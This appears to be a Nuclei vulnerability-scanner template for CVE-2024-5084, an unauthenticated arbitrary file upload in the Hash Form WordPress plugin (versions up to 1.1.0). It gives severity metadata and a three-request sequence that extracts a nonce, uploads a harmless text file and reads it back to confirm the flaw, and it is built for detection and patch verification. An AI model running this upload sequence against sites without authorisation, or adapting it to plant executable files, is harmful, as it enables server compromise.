Hash Form <= 1.1.0 - Arbitrary File Upload

id: CVE-2024-5084

info:
  name: Hash Form <= 1.1.0 - Arbitrary File Upload
  author: securityforeveryone
  severity: critical
  description: |
    The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 1.1.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5084
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
    - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5084
    epss-score: 0.00063
    epss-percentile: 0.27036
  metadata:
    verified: true
    max-request: 1
    vendor: HashThemes
    product: Hash Form
    framework: wordpress
    publicwww-query: "/wp-content/plugins/hash-form/"
  tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive

variables:
  filename: "{{rand_base(5)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        GET / HTTP /1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{md5(num)}}

      - |
        GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
          - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ajax_nounce":"([0-9a-z]+)","preview_img'
        internal: true
# digest: 4a0a00473045022031903fcaa4d2765a2948e67ebb0ffdf4f51f2b6715ec1426f372476ab7cc1f54022100f6f757d7bdbf2faee44dd9dc6faf67322cd1ff0f7c07430c9bd4e9f9bbec82c0:922c64590222798bb761d5b6d8e72950